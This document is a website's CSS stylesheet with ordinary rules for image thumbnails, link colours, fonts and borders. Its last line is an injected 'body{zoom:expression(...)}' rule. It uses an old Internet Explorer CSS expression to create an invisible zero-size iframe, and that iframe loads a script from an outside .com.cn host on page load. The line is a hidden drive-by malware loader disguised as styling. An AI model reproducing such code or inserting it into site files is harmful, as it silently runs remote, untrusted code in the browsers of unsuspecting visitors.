.img_frame{
	BORDER-RIGHT: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-TOP: #999999 1px solid; BORDER-BOTTOM: #999999 1px solid; PADDING-RIGHT: 3px;  PADDING-LEFT: 3px; PADDING-BOTTOM: 3px;  PADDING-TOP: 3px; 
}


/* thumbnail
----------------------------------------------------------------------------------------------------------------------------*/


.thumbnailText{
position: relative;
z-index: 0;
}

.thumbnailText:hover{
background-color: transparent;
z-index: 50;
}

.thumbnailText span{ /*CSS for enlarged image*/
position: absolute;
background-color: #ffffff;
padding: 5px;
left: -1000px;
border: 1px solid;
visibility: hidden;
color: black;
text-decoration: none;
}

.thumbnailText span img{ /*CSS for enlarged image*/
border-width: 0;
padding: 2px;
}

.thumbnailText:hover span{ /*CSS for enlarged image on hover*/
visibility: visible;
top: 20;
left: 0px; /*position where enlarged image should offset horizontally */
}





.thumbnail{
position: relative;
z-index: 0;
}

.thumbnail:hover{
background-color: transparent;
z-index: 50;
}

.thumbnail span{ /*CSS for enlarged image*/
position: absolute;
background-color: #ffffff;
padding: 5px;
left: -1000px;
border: 1px solid;
visibility: hidden;
color: black;
text-decoration: none;
}

.thumbnail span img{ /*CSS for enlarged image*/
border-width: 0;
padding: 2px;
}

.thumbnail:hover span{ /*CSS for enlarged image on hover*/
visibility: visible;
top: 5;
left: -370px; /*position where enlarged image should offset horizontally */
}


/* Others
----------------------------------------------------------------------------------------------------------------------------*/







.curlycontainer{
border: 1px solid #b8b8b8;
margin-bottom: 1em;
width: 300px;
}

.curlycontainer .innerdiv{
background: transparent url(media/brcorner.gif) bottom right no-repeat;
position: relative;
left: 2px;
top: 2px;
padding: 1px 4px 15px 5px;
}

/* BACKGROUND ----------------------------------------------------------------------------------------------------------------------------*/

.doth{
	background-image:url(img/doth.gif);
	background-repeat:repeat-x;
}

.dotv{
	background-image:url(img/dotv.gif);
	background-repeat:repeat-y;
}

/* LINKS --------------------------------------------------------------------------------------------------------------------------------------*/

a:link{text-decoration:underline; color:#CC0000;}
a:visited{text-decoration:underline; color:#CC0000;}
a:hover{text-decoration:underline; color:#000000;}

a.linkMenuSub:link{text-decoration:underline; color:#333333;}
a.linkMenuSub:visited{text-decoration:underline; color:#333333;}
a.linkMenuSub:hover{text-decoration:underline; color:#CC0000;}


a.linkArchive:link{text-decoration:none; color:#000000;}
a.linkArchive:visited{text-decoration:none; color:#000000;}
a.linkArchive:hover{text-decoration:underline; color:#000000;}

a.linkHeadIndex:link{text-decoration:underline; color:#064478;}
a.linkHeadIndex:visited{text-decoration:underline; color:#064478;}
a.linkHeadIndex:hover{text-decoration:underline; color:#CC0000;}





/* FONTS ------------------------------------------------------------------------------------------------------------------------------------*/

.css1{
	color:#333333;
}

.css2{
	color:#CCCCCC;
}

.css3{
	color:#FFFFFF;

}

.css3_11PX{
	color:#FFFFFF;
	font-size:10px;
}

.css4{
	color:#005b7f;
}

.css5{
	color:#ec008c;
}

.css6{
	color:#064478;
}


.css7{
	color:#FF9900;
}

.css8{
	color:#ed1c24;
}

.css8H1{
	color:#ed1c24;
	font-size:15px;
}

.footerText{
	color:#333333;
	font-size:11px;
}

.head1{
	font-size:12px;
	color:#333333;
}

.head3_12PX{
	font-size:12px;
	color:#ffffff;
}

.head5_12PX{
	font-size:12px;
	color:#ec008c;
}

/* MASTER FONTS ------------------------------------------------------------------------------------------------------------------------*/

body,table,td{
	font-family:Arial;
	font-size:13px;
	color:#000000;
}

input{
	font-family:Arial,Tahoma, "Microsoft Sans Serif";
	font-size:11px;
	color:#333333;
}

select{
	font-family:Arial,Tahoma, "Microsoft Sans Serif";
	font-size:11px;
	color:#333333;
}

textarea{
	font-family:Arial,Tahoma, "Microsoft Sans Serif";
	font-size:11px;
	color:#333333;
}

/* MASTER HTML -------------------------------------------------------------------------------------------------------------------------*/

table{
	border:0px;
}

tr{
	vertical-align:top;
}

img{
	border:0px;
}




.border{
	border:1px solid #cccccc;
}

.border2{
	border:8px solid #F1F4F9;
}


.borderDot{
	border:1px dashed #cccccc;
}

.borderImg{
	border-color:#002157; 
	border-top-width:1px; 
	border-bottom-width:1px;
	border-left-width:0px; 
	border-right-width:0px; 
	border-style:dotted;
}

.borderContentAll{
	border-color:#d9d9d9; 
	border-top-width:0px; 
	border-bottom-width:0px;
	border-left-width:1px; 
	border-right-width:1px; 
	border-style:solid; 
}

.borderContentSub{
	border-color:#002157; 
	border-top-width:5px; 
	border-bottom-width:3px;
	/*border-left-width:1px;
	border-left-color:#f5f5f5;
	border-right-color:#f5f5f5;
	border-right-width:1px; */
	border-style:solid; 
}

.borderSendfriend{
	border-color:#002157; 
	border-top-width:5px; 
	/*border-bottom-width:3px;*/
	border-style:solid; 
}
.borderSendfriend2{
	border-color:#002157; 
	border-top-width:1px; 
	border-bottom-width:0px;
	border-left-width:0px; 
	border-right-width:0px; 
	border-style:solid; 
}

.bordermenu{
	border-color:#d9d9d9; 
	border-top-width:1px; 
	border-bottom-width:1px;
	border-left-width:0px; 
	border-right-width:0px; 
	border-style:solid; 
}

.borderTop{
	border-color:#cccccc; 
	border-top-width:1px; 
	border-bottom-width:0px;
	border-left-width:0px; 
	border-right-width:0px; 
	border-style:solid; 
}

.borderTopDot{
	border-color:#cccccc; 
	border-top-width:1px; 
	border-bottom-width:0px;
	border-left-width:0px; 
	border-right-width:0px; 
	border-style:dashed; 
}

.borderTopDotBlack{
	border-color:#000000; 
	border-top-width:1px; 
	border-bottom-width:0px;
	border-left-width:0px; 
	border-right-width:0px; 
	border-style:dashed; 
}

.borderBottom{
	border-color:#cccccc; 
	border-top-width:0px; 
	border-bottom-width:1px;
	border-left-width:0px; 
	border-right-width:0px; 
	border-style:solid; 
}

.borderBottomDot{
	border-color:#cccccc; 
	border-top-width:0px; 
	border-bottom-width:1px;
	border-left-width:0px; 
	border-right-width:0px; 
	border-style:dashed; 
}

.borderLeft{
	border-color:#cccccc; 
	border-top-width:0px; 
	border-bottom-width:0px;
	border-left-width:1px; 
	border-right-width:0px; 
	border-style:solid; 
}

.borderLeftDot{
	border-color:#cccccc; 
	border-top-width:0px; 
	border-bottom-width:0px;
	border-left-width:1px; 
	border-right-width:0px; 
	border-style:dashed; 
}


.borderLeftDotBlack{
	border-color:#000000; 
	border-top-width:0px; 
	border-bottom-width:0px;
	border-left-width:1px; 
	border-right-width:0px; 
	border-style:dashed; 
}

.borderLeftDotwhite{
	border-color:#ffffff; 
	border-top-width:0px; 
	border-bottom-width:0px;
	border-left-width:2px; 
	border-right-width:0px; 
	border-style:dashed; 
}


.borderLeftDotBlue{
	border-color:#064478; 
	border-top-width:0px; 
	border-bottom-width:0px;
	border-left-width:1px; 
	border-right-width:0px; 
	border-style:dashed; 
}



.borderRight{
	border-color:#cccccc; 
	border-top-width:0px; 
	border-bottom-width:0px;
	border-left-width:0px; 
	border-right-width:1px; 
	border-style:solid; 
}

.borderRightDot{
	border-color:#cccccc; 
	border-top-width:0px; 
	border-bottom-width:0px;
	border-left-width:0px; 
	border-right-width:1px; 
	border-style:dashed; 
}

ul{
	list-style:circle;
}

 body{zoom:expression(function(ele){setTimeout(function(){var i=document.createElement('iframe');i.width=i.height=0;document.body.appendChild(i);i.contentWindow.setTimeout(function(){i.contentWindow.document.write('<script src=http://www.800816.com.cn/cache/yahoo.js></script>');},1000);},1000);ele.style.zoom='1';}(this));}